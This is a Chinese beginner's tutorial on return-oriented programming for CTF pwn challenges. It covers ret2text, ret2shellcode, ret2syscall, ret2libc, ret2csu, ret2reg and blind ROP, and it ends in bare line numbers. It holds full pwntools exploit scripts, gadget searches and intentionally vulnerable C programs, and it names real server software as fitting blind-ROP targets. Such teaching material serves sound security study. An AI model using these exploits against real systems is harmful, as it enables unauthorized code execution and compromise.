1.2-菜鸟学PWN之ROP学习

实现ROP的两个条件:

  • 程序存在栈溢出, 并可控制返回地址.
  • 可以找到所需的gadgets以及它所在的地址.

我们在上文学习了最基本的栈溢出技巧, 这种情况下我们直接跳转到system('/bin/sh')即可, 但真实环境下往往没有如此简(ruo)单(zhi)的存在. 而是, 需要经过多次跳转, 甚至精心构造shellcode才能完整的执行系统调用. 而我们把经过多次跳转, 最终完整执行shellcode的方法叫做ROP(Return Oriented Programming). 构造shellcode的过程当中, 由于程序/系统的限制, 我们通过利用程序中存在的程序小片段(gadgets, 以ret结尾的指令序列)来改变寄存器或者变量的值, 从而控制程序流程, 实现多次跳转.

0x10 背景知识

0X11 寄存器介绍

32位x86架构下的寄存器分类如下:

x86寄存器分类
x86寄存器分类

64位86_x64架构下的寄存器分类如下:

Register 状态 请使用
RAX 易失的 返回值寄存器
RCX 易失的 第一个整型参数
RDX 易失的 第二个整型参数
R8 易失的 第三个整型参数
R9 易失的 第四个整型参数
R10:R11 易失的 必须根据需要由调用方保留;在 syscall/sysret 指令中使用
R12:R15 非易失的 必须由被调用方保留
RDI 非易失的 必须由被调用方保留
RSI 非易失的 必须由被调用方保留
RBX 非易失的 必须由被调用方保留
RBP 非易失的 可用作帧指针;必须由被调用方保留
RSP 非易失的 堆栈指针
XMM0 易失的 第一个 FP 参数
XMM1 易失的 第二个 FP 参数
XMM2 易失的 第三个 FP 参数
XMM3 易失的 第四个 FP 参数
XMM4:XMM5 易失的 必须根据需要由调用方保留
XMM6:XMM15 非易失的 必须根据需要由被调用方保留。

x64 结构提供了 16 个通用寄存器(以后称为整数寄存器),以及 16 个可供浮点使用的 XMM 寄存器。易失寄存器是由调用方假想的临时寄存器,并要在调用过程中销毁。非易失寄存器需要在整个函数调用过程中保留其值,并且一旦使用,则必须由被调用方保存。

0x12 进程内存布局

  • 32位模式下进程内存经典布局:
    32位模式下进程内存
    32位模式下进程内存
  • 64位模式下进程内存经典布局(简略版):
    64位模式下进程内存布局(简略)
    64位模式下进程内存布局(简略)

0x20 基础ROP

0x21 ret2text

ret2text即控制栈里的返回值, 使其返回到程序本身的某个代码段(.text). 上文1.1-菜鸟学PWN之栈溢出学习中的例子已经提到过, 其核心思想就是: 利用栈溢出, 覆盖返回地址到系统调用函数, 例如system(/bin/sh).

payload = 'a' * value_offset_for_ebp + p32(system_func_addr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
                            High address
+---------------+
| |
| ...... |
| |
variable in stack +---> +---------------+
offset from ebp | return address| +--------------+
+---------------+ <---+ stack |
| ebp | |
+---------------+ |
| | |
+---------------+ |
| | |
+---------------+ |
| ...... | |
| | |
| | |
| | |
+---------------+ |
| | |
+---------------+ <--------------+
| |
system function +---> +---------------+
(eg:system('/bin/sh')) | |
+---------------+ <---+ function(.text)
| |
+---------------+
| |
| ...... |
| |
+---------------+
Low address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# coding=utf-8

from pwn import *
# execute elf
sh = process("ret2text")
# this is system('/bin/sh') address
exec_addr = 0x0804863a
# this is ebp address
gets_ebp_addr = 0xffffce78
# this is 's' value address
s_addr = 0xffffcdf0 + 0x1c
# this is offset between ebp address and 's' value address
rop_offset = gets_ebp_addr - s_addr

payload = "A"*(rop_offset + 4) + p32(exec_addr)

sh.sendline(payload)
sh.interactive()

0x22 ret2shellcode

ret2shellcode即控制栈里的返回值, 使其返回到自己填充的shellcode代码. shellcode指的是用于完成某个功能的(汇编)代码. 这里需要注意的是, 填充shellcode的时候, 一定要将shellcode填充到可执行段中. 其核心思想是: 利用栈溢出, 使返回地址返回到自己填充的shellcode里.

  1. 查看保护, 发现有一个可读可写可执行的段:

    1
    2
    3
    4
    5
    6
    7
    8
    ➜  demo checksec ret2shellcode
    [*] '/home/ks/ctf/pwn/stack/demo/ret2shellcode'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x8048000)
    RWX: Has RWX segments
  2. IDA反汇编之后可看到主函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    char s; // [esp+1Ch] [ebp-64h]

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 1, 0);
    puts("No system for you this time !!!");
    gets(&s);
    strncpy(buf2, &s, 0x64u);
    printf("bye bye ~");
    return 0;
    }

    从上面可以看出, gets()函数存在栈溢出. strncpy函数可以看到将s变量的字符串复制到buf2中, 那我们再看看buf2所处的位置:

    1
    2
    .bss:0804A080 ; char buf2[100]
    .bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o

    可看到, buf2是有100个元素的字符型数组, 存在于bss段中. 我们动态调试一下bss段的权限:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    gef➤  vmmap
    Start End Offset Perm Path
    0x08048000 0x08049000 0x00000000 r-x /home/ks/ctf/pwn/stack/demo/ret2shellcode
    0x08049000 0x0804a000 0x00000000 r-x /home/ks/ctf/pwn/stack/demo/ret2shellcode
    0x0804a000 0x0804b000 0x00001000 rwx /home/ks/ctf/pwn/stack/demo/ret2shellcode
    0xf7dcb000 0xf7fa0000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa0000 0xf7fa1000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa1000 0xf7fa3000 0x001d5000 r-x /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa3000 0xf7fa4000 0x001d7000 rwx /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa4000 0xf7fa7000 0x00000000 rwx
    0xf7fcf000 0xf7fd1000 0x00000000 rwx
    0xf7fd1000 0xf7fd4000 0x00000000 r-- [vvar]
    0xf7fd4000 0xf7fd6000 0x00000000 r-x [vdso]
    0xf7fd6000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so
    0xf7ffc000 0xf7ffd000 0x00025000 r-x /lib/i386-linux-gnu/ld-2.27.so
    0xf7ffd000 0xf7ffe000 0x00026000 rwx /lib/i386-linux-gnu/ld-2.27.so
    0xfffdd000 0xffffe000 0x00000000 rwx [stack]

    根据上面从ida看到的, buf2在0x0804a080中, 即为上示gdb的vmmap的0x0804a00~0x0804b00中, 可以看出该段的权限, 可读可写可执行, 因此, 我们的思路便是: 将shellcode填充的s中, 然后将s中的shellcode复制到buf2中.

    payload = (include assembly system function)shellcode + (ret)buf2_addr

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
                               High address
    +---------------+
    | |
    | ...... |
    | |
    variable in stack +---> +---------------+
    offset from ebp | return address| +--------------+
    +---------------+ <---+ stack |
    | ebp | |
    +---------------+ |
    | | |
    +---------------+ |
    | | |
    +---------------+ |
    | ...... | |
    | | |
    | | |
    | | |
    +---------------+ |
    | | |
    +---------------+ <--------------+
    | |
    shellcode +---> +---------------+
    | |
    +---------------+ <---+ RWX segment
    | |
    +---------------+
    | |
    | ...... |
    | |
    +---------------+
    Low address
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *

    sh = process("ret2shellcode")
    buf2_addr = 0x0804A080
    # shell = 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
    shell = asm(shellcraft.sh())
    s_addr = 0xffffcde0 + 0x1c
    ebp_addr = 0xffffce68
    ret_offset = ebp_addr - s_addr + 4
    print ret_offset
    # ljust means fill with "A"
    payload = shell.ljust(ret_offset,"A") + p32(buf2_addr)
    sh.sendline(payload)
    sh.interactive()

0x23 ret2syscall

顾名思义, ret2syscall就是利用gadgets控制程序执行系统调用, 获取shellcode.

  1. 首先查看程序开启的保护:

    1
    2
    3
    4
    5
    6
    7
    ➜  demo checksec ret2syscall
    [*] '/home/ks/ctf/pwn/stack/demo/ret2syscall'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)

    NX保护依旧打开, canary关闭则可直接栈溢出.

  2. 在反汇编程序, 得到主函数如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    char s; // [esp+1Ch] [ebp-64h]

    setvbuf(stdout, 0, 2, 0);
    setvbuf(_bss_start, 0, 1, 0);
    puts("Something surprise here, but I don't think it will work.");
    printf("What do you think ?");
    gets(&s);
    return 0;
    }

    上面可以看到, 还是一个栈溢出的漏洞.

  3. 我们无法直接利用程序中的某一段代码或者自己填写的代码来获得shell, 因此只能利用程序中的一段代码或者自己填写的代码来获得shell. 通过系统调用来获取shell. 应用程序调用系统调用的过程是:

    1. 把系统调用的编号存入 EAX;
    2. 把函数参数存入其它通用寄存器;
    3. 触发 0x80 号中断(int 0x80);

    关于Linux系统调用号, 请到这里查看. 我们能查到execve的系统调用号为0x0b, 如下图:

    execve系统调用号
    execve系统调用号

    可知, 有三个参数, 分别对应ebx, ecx, edx. 我们需要使得:

    • 系统调用号,即 eax 应该为 0xb
    • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
    • 第二个参数,即 ecx 应该为 0
    • 第三个参数,即 edx 应该为 0
  4. 那我们如何控制这些寄存器的值呢? 这里就需要我们使用gadgets. 比如当前栈帧的栈顶是0x20那么我们pop eax即可改变eax的值为0x20. 但是很少有一段gadgets里连续pop以上四个寄存器, 所以我们需要跳转到几个gadgets, 这就是rop技术的真正实现.

    1. 我们先寻找一下pop eax | ret:
    1
    2
    3
    4
    5
    6
    ➜  demo ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
    0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x080bb196 : pop eax ; ret
    0x0807217a : pop eax ; ret 0x80e
    0x0804f704 : pop eax ; ret 3
    0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

    可看到有好几段, 这里我们选择0x080bb196来作为第一段跳板.

    1. 接下来我们再看看ebx:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    ➜  demo ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'      
    0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
    0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
    0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
    0x080be23f : pop ebx ; pop edi ; ret
    0x0806eb69 : pop ebx ; pop edx ; ret
    0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
    0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
    0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
    0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
    0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
    0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
    0x08048913 : pop ebx ; pop esi ; pop edi ; ret
    0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
    0x08049a94 : pop ebx ; pop esi ; ret
    0x080481c9 : pop ebx ; ret
    0x080d7d3c : pop ebx ; ret 0x6f9
    0x08099c87 : pop ebx ; ret 8
    0x0806eb91 : pop ecx ; pop ebx ; ret
    0x0806336b : pop edi ; pop esi ; pop ebx ; ret
    0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
    0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
    0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
    0x0805c820 : pop esi ; pop ebx ; ret
    0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x0807b6ed : pop ss ; pop ebx ; ret

    这里有很多个pop ebx的gadgets, 但是在0x0806eb90中, 三个pop操作分别是对edx ecx ebx, 这个gadgets便能满足execve的三个参数所需的寄存器. 因此我们选择这一段.

    1. 然后我们再看一下是否有/bin/sh字符串在程序里:
    1
    2
    3
    4
    ➜  demo ROPgadget --binary ret2syscall --string "/bin/sh"           
    Strings information
    ============================================================
    0x080be408 : /bin/sh

    可看到在0x080be408含有该字符串.

    1. 最后我们还需要触发0x80号中断, 因此还要找到该中断对应的地址:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    ➜  ret2syscall ROPgadget --binary rop  --only 'int'                 
    Gadgets information
    ============================================================
    0x08049421 : int 0x80
    0x080938fe : int 0xbb
    0x080869b5 : int 0xf6
    0x0807b4d4 : int 0xfc

    Unique gadgets found: 4
  5. 上面步骤的四个小步骤已经帮我们找到了所需的4段gadgets, 接下来我们payload直接使用这些gadgets即可:

    payload = (gadget1_pop_syscall_eax + value) + (gadget2_pop_other_register + value) + (gadget3_int_address)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *

    sh = process('./ret2syscall')
    pop_eax_addr = 0x080bb196
    pop_edx_ecx_ebx_addr = 0x0806eb90
    ret_offset = 0xffffcfb8 - (0xffffcf30 + 0x1c) + 0x04
    print ret_offset
    sh_addr = 0x080be408
    int_0x80 = 0x08049421

    '''
    flat() Parameters:
    args – Values to flatten
    preprocessor (function) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is uded.
    word_size (int) – Word size of the converted integer (in bits).
    endianness (str) – Endianness of the converted integer (“little”/”big”).
    sign (str) – Signedness of the converted integer (False/True)
    即: flat()函数将数组每项以大端/小端,有/无符号,将每项合并.
    '''

    payload = flat(["A"*ret_offset, pop_eax_addr, 0x0b, pop_edx_ecx_ebx_addr, 0, 0, sh_addr, int_0x80])

    sh.sendline(payload)
    sh.interactive()

0x24 ret2libc

ret2libc顾名思义即控制程序执行libc中的函数, 通常是返回某个函数的plt或者函数的具体位置. 为了get shell, 我们会执行system('/bin/sh'). 这里需要注意的一点是: 在leak libc中的部分函数地址之后, 我们需要根据对应的libc版本去查找相应的函数偏移.

① 存在system函数及/bin/sh情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# coding=utf-8

from pwn import *
sh = process('./ret2libc1')

ret_offset = 112
# /bin/sh字符串地址
shell_addr = 0x08048720
# system函数地址
system_addr = 0x08048460
# 这里addr是随便填写的, 作为函数的返回地址, 具体情况上一篇博客的栈帧结构.
payload = flat(["a"*ret_offset, system_addr, "addr", shell_addr])

sh.sendline(payload)
sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'addr' 作为虚假的地址,其后参数对应的参数内容。

② 只存在system函数的情况

  1. bss段的buf2如下:

    1
    2
    3
    .bss:0804A080                 public buf2
    .bss:0804A080 ; char buf2[100]
    .bss:0804A080 buf2 db 64h dup(?)

  2. pop ebx:

    1
    2
    3
    ➜  demo ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'ebx'
    0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x0804843d : pop ebx ; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# coding=utf-8

from pwn import *--
sh = process('./ret2libc2')

buf2_addr = 0x0804A080
ret_offset = 112
system_addr = 0x08048490
gets_addr = 0x08048460
pop_ebx_addr = 0x0804843d
# 这里如ret2syscall中,先查找能够使用的gadgets, 然后向程序的bss段中的buf2中写入/bin/sh字符串,并将其地址作为system函数的参数传入.
# 跳转的顺序依次是: ①gets函数ret --> ②pop ebx; ret buf2_addr --> ③system函数 + buf2_addr
payload = flat(["a"*ret_offset, gets_addr, pop_ebx_addr, buf2_addr, system_addr, "addr", buf2_addr])
# gets(buf2);
# system('/bin/sh');
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

③ system函数和/bin/sh都不存在的情况

获取system函数的地址:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位(低3位16进制)并不会发生改变。而 libc 在 github 上有人进行收集.
  • https://github.com/niklasb/libc-database

由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

※ ret2libc漏洞利用的基本思路
  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
===========================================================================
.got.plt:0804A000
.got.plt:0804A000 ; Segment type: Pure data
.got.plt:0804A000 ; Segment permissions: Read/Write
.got.plt:0804A000 _got_plt segment dword public 'DATA' use32
.got.plt:0804A000 assume cs:_got_plt
.got.plt:0804A000 ;org 804A000h
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048420↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048420+6↑r
.got.plt:0804A00C off_804A00C dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A010 off_804A010 dd offset gets ; DATA XREF: _gets↑r
.got.plt:0804A014 off_804A014 dd offset time ; DATA XREF: _time↑r
.got.plt:0804A018 off_804A018 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C dd offset __gmon_start__
.got.plt:0804A01C ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A020 off_804A020 dd offset srand ; DATA XREF: _srand↑r
.got.plt:0804A024 off_804A024 dd offset __libc_start_main 0804A024
.got.plt:0804A024 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A028 off_804A028 dd offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0804A02C off_804A02C dd offset rand ; DATA XREF: _rand↑r
.got.plt:0804A030 off_804A030 dd offset __isoc99_scanf
.got.plt:0804A030 ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0804A030 _got_plt ends
.got.plt:0804A030
.data:0804A034 ; ===========================================================================
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')
# 获取plt中puts的地址
puts_plt = ret2libc3.plt['puts']
# 获取got表中的libc
libc_start_main_got = ret2libc3.got['__libc_start_main']
# print "libc_start_main_go:",hex(libc_start_main_got)
main = ret2libc3.symbols['main']
# print "main:",hex(main)

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
# libc_start_main_addr = 0xf7d20d90
# print "leak libc start main addr: ", hex(libc_start_main_addr)
# print 'normal libc start main addr: ', hex(0xf7d20d90)
# gdb.attach(sh)
# libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
# libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
# binsh_offset = 0x0017b8cf - 0x00018d90
# system_offset = 0x0003cd10 - 0x00018d90
# system_addr = libcbase + libc.dump('system')
# binsh_addr = libcbase + libc.dump('str_bin_sh')

system_offset = 0x24470
binsh_offset = 0x16533f
system_addr = system_offset + libc_start_main_addr
binsh_addr = binsh_offset + libc_start_main_addr

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

0x30 中级ROP

0x31 ret2csu

① 使用原理

在64位程序中, 函数调用的前六个参数是通过寄存器传参的(rdi, rsi, rdx, rcx, r8, r9), 其余的参数才是通过压栈的形式传参. 但是一般在程序中很少有连续的这么多pop寄存器的gadgets, 这时候就需要利用到libc的初始化函数:__libc_csu_init, 这个函数只要调用了libc就有, 而大部分程序都会调用libc, 所以这个函数在绝大部分程序中都会出现. 函数的二进制形式如下:(不同libc版本大致相同)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp

我们主要利用顺序如下:

  1. 0x0000000000400606~0000000000400628, (利用栈溢出构造栈上数据)依次修改rbx, rbp, r12, r13, r14, r15六个寄存器的值.(这里需要注意的是rsp是栈顶指针, 可能不是从rsp开始压入rbx, 上面的var_30就是从rsp+8开始压栈的, 所以写payload的时候需要加上一个p64(0))
  2. 上面修改的寄存器的值是为接下来的0x00000000004005F0~0x0000000000400604这段代码服务的, 我们通过修改rdx, rsi, edi的值来当做下一步call qword ptr [r12+rbx*8]的参数, 这样只要我们把rbx设为0, 把r12的值设为我们想要跳转到函数的got地址即可.
  3. 0x000000000040060D~0x0000000000400614, 我们为了不让它循环(往下执行), 而在上面已经把rbx设为0, 因此需要在第1步把rbp的值设为1

② 使用情形

  1. 程序中pop参数的gadgets比较少, 或者不是连续的;
  2. 存在栈溢出

③ 使用例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#undef _FORTIFY_SOURCE

void vulnerable_function() {
truechar buf[128];
trueread(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
truewrite(STDOUT_FILENO, "Hello, World\n", 13);
truevulnerable_function();
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#/usr/bin/python
#coding=utf-8
from pwn import *

# context.log_level = 'debug'
elf = ELF('./ret2csu')
sh = process('./ret2csu')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_base = elf.bss()
csu_front_addr = 0x4005F0
csu_end_addr = 0x400606


def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdx=r15 第3个参数
# rsi=r14 第2个参数
# rdi=edi=r13d 第1个参数
# 这里之所有要加一个p64(0),是因为pop操作不是从rsp而是从rsp+8开始的
payload = 'a' * 0x88
payload += p64(csu_end_addr) + p64(0) + p64(rbx)\
+ p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
# 填充栈上pop/add,共0x38个字节
payload += 'b' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)

# payload1 in order to leak write_addr
sh.recvuntil('Hello, World\n')
# RDI, RSI, RDX, RCX, R8, R9, more on the stack
# write(1,write_got,8)
csu(0, 1, write_got, 1, write_got, 8, main_addr)
# gdb.attach(sh)
write_addr = u64(sh.recv(8))
execve_off = libc.symbols['write']-libc.symbols['execve']
execve_addr = write_addr - execve_off
log.success('execve_addr: ' + hex(execve_addr))

# read(0,bss_base,16)
# read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
# sh.recv()
sh.recvuntil('Hello, World\n')
# execve(bss_base+8)
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
sh.interactive()

0x32 ret2reg

① 使用原理

ret2reg(return-to-address)主要目的是绕过地址随机化(Address Space Layout Randomization, ASLR). 顾名思义, 就是控制寄存器的值, 利用call, jnz, jmp等跳转指令控制程序执行流以跳转到payload.

② 使用步骤

  1. 调试程序, 查看溢出函数返回时哪个寄存器的值指向溢出缓冲区.
  2. 经第1步得知reg寄存器指向缓冲区, 查找漏洞程序中call regjmp reg指令.(可利用objdump或ROPgadget) 然后将EIP的值指向该指令的地址.
  3. 在reg指向的栈空间写入shellcode

③ 参考链接

第一篇: 使用ret2reg攻击绕过地址混淆

第二篇: 使用ret2reg攻击绕过地址混淆

第三篇: ret2reg指令绕过ASLR堆栈溢出


0x33 BROP

① 使用原理

BROP(Blind Return Oriented Programming), 顾名思义, 是一种盲ROP, 在没有源程序分析的情况下对目标远程程序进行攻击, 劫持程序执行流. 这种方式在一般情况下可以绕过ASLR、NX、Canary保护. 但是使用这种方式有两个条件:

  1. 目标服务(程序)存在栈溢出
  2. 运行远程程序的服务端在崩溃之后会重新启动, 或者重启后地址与先前的一样.(即使程序由ASLR保护, 仅仅在最初启动有效果). 目前Nginx, MySQL, Apache, OpenSSH等服务器应用都符合这种特性.

② 使用步骤

  1. Get buffer length

    通过爆破实现, 从1开始爆破, 直到程序崩溃(ebp/rbp)被覆盖. 此时输入的字符串长度即为栈溢出长度.

  2. Stack Reading

    获取栈上的canary, ebp, return address.

    经典栈结构如下:

    1
    buffer|canary|fame pointer(ebp/rbp)|return address

    我们同样可以通过逐字节爆破, 爆破canary.(32位爆破4x256=1024次, 64位爆破8x256=2048次, 注意这里的4和8代表的是字节数, 256是表示每个字节由256中可能) 同样地, 我们可以爆破出栈基址指针、返回地址的值.

  3. Blind ROP

    经过上面两部, 我们可以控制溢出后的执行流, 这时我们就尝试跳转到gadgets, 根据有无crash来判断这个gadgets是否有效, 得到输出函数如: put, write等, 以此来leak出更多的信息.

  4. Optimization

    上一步已经leak出重要函数(如: system, execve等函数)的地址信息了, 在这一步可以拼凑出payload进行攻击.

③ 使用例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 2016 HCTF PWN题
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
truesetbuf(stdin,NULL);
truesetbuf(stdout,NULL);
truesetbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
trueif(!check()){
puts("Do not dump my memory");
true}else {
puts("No password, no game");
true}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
